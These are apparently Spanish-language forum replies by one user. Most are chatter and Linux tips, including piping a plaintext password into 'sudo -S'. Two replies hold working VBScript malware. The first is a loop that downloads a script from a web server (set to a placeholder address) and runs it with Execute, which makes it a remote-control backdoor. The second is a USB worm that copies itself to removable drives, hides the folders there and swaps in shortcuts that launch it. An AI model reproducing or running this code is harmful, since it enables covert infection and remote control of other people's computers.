tuve un pequeño problema con la cache de internet explorer pero ya esta solucionado  .
la ubicacion del script debe cambiarse en http://127.0.0.1/?l= por http:/direccion/?l=

Function anticache() ' al parecer usa la cache de internet explorer , de esta forma hago se actualize
	anticache=day(date())&Month(Date())&Year(date())&Hour(time())&Minute(Time())&Second(Time()) &Rnd ' en una sola cadena mete el dia,mes,año,hora,minuto,segundos y un numero aleatorio
End Function
 
Function supertest() ' esta funcion descarga el script
	dim resultado,magik,daryo
	set magik=CreateObject("MSXML2.XMLHTTP")
	magik.open "GET" , "http://127.0.0.1/?l=" & anticache ,false  
	magik.send
	supertest = magik.ResponseText
End Function
 
dim prueba1,prueba2,x ' pude usar un array pero asi tambien funciona xD
x=1
while true
	if x= 1 Then
		prueba1=supertest ' descarga el contenido de la web , que debe ser un script en vbs y lo mete en la variable prueba1
		x=0
	else
		prueba2=supertest
		x=1
	End If
	if not(prueba1 = prueba2) then ' esto determina si el comando ha cambiado desde la ultima vez que lo ejecuto
		On ERROR Resume Next
		Execute(supertest) ' ejecuta la cadena supertest
	End IF
	Wscript.sleep 700 ' no quiero sobrecargar el servidor
 
wend

¿y que buscas llorar sobre la leche derramada porque no se te presto atencion?

cierto, es algo contraproducente , porque ademas de que es inutil hace que la gente vea en su gobierno a un tirano , y genera curiosidad en el contenido que bloquea.

cada quien te va a decir el linux de preferencia , si nuca has toca linux yo recomendaria linux mint:
http://www.linuxmint.com/

hace lo siguiente :
oculta todas las carpetas y crea accesos directos de las carpetas , cuando  abren una carpeta o acceso directo . primero ejecuta el archivo vbs y luego abre la direccion de la carpeta

Set objfso = createobject("scripting.filesystemobject")
Set RainbowDash = createobject("Scripting.FileSystemObject")
Set discos = objfso.drives 'obtenemos la coleccion de discos
if Wscript.Arguments.count > 0 Then
	ejecucion Wscript.Arguments(0)
else
 For each d in discos 'por cada disco(d) en la coleccion(discos)
 'mensaje con la letra de disco
 if d.drivetype = 1 Then
	Dim subfg,destino
	subfg=d.driveletter & ":\"
	destino="" & subfg & "wlok.vbs"
	if not(RainbowDash.FileExists(destino)) Then
		objfso.copyfile WSCript.ScriptFullName,destino,true
		set archivo=objfso.getfile(destino)
		archivo.attributes=39
		Set micarpeta = objfso.getfolder(subfg) 
		Set subcarpetas = micarpeta.subfolders 
		For each s in subcarpetas 
			destino="" & subfg & "wlok.vbs"
			accesdirect s.name,subfg,destino
			oculto s.name,subfg
		Next
	End if
 End if
 Next
End If 
 
Function accesdirect(directorio,disco,destino)
DIM muaja,acce,directiorio1,argumento
directorio1= disco & directorio & ".lnk"
argumento="""" & directorio & """"
set muaja=WScript.CreateObject("Wscript.Shell")
set acces=muaja.CreateShortcut(directorio1)
With acces
	.TargetPath = destino
	.Arguments = argumento
	.WindowStyle = 1
	.IconLocation="C:\windows\System32\SHELL32.dll,3"
	.WindowStyle="1"
	.WorkingDirectory=disco
	.save
End With
End Function
 
Function oculto(directorio,disco)
	set carpetaoculta= objfso.getfolder(disco & directorio)
	carpetaoculta.attributes=39
End Function
 
Function ejecucion(parametros)
	parametros="""" & parametros & """"
	set correr=WScript.CreateObject("Wscript.Shell") 
	correr.run "explorer.exe " & parametros
	payload
End Function
 
Function payload()
	msgbox("payload")
End Function

que se puede ejecutar un comando  por ejemplo , asi si solo es un comando no hace falta abrir la terminal y eso

con respecto a la duda la verdad no soy experto en programacion unix pero googleare un poco n_n

una alternativa programada en python y creo que es lo que buscas puede ser.()
http://stackoverflow.com/questions/13825689/running-a-process-as-a-different-user-from-python

no necesariamente xD , el comando sudo se puede configurar para limitar los permisos en configurando el archivo sudoers
http://linuxgnublog.org/configurar-sudo-en-debian
http://www.linuxtotal.com.mx/?cont=info_admon_014

suerte

¿jeje asi soy un desquiciado :O? , broma .

jeje creo que no me exprese muy bien .  :'(  



me refiero a que asi puedes pones el password sin hacer ninguna pausa. donde puse:

 echo password 

aca pones la clave del usuario asi no necesitas preguntarla posteriormente

|

asi se pasa la clave al siguiente comando

sudo -S

supongo ya sabes que hace sudo, el parametro -S permite recibir la contraseña del comando anterior

-u root

se cambia a el usuario en el que deseas ejecutar

echo hola

el comando a ejecutar

por ejemplo si quiero ejecutar un comando siendo mi contraseña 123 un ejemplo y mi usuario es daryo

echo 123 | sudo -u daryo -S echo hola

con su no se pero puedes usar sudo?

echo <password> | sudo -u root -S echo hola

@madantrax o dire sus codigos me motivo a programar en vbs pero queria saberi si aun se le sigue dando soporte

muchas gracias


porque tanta gente o_o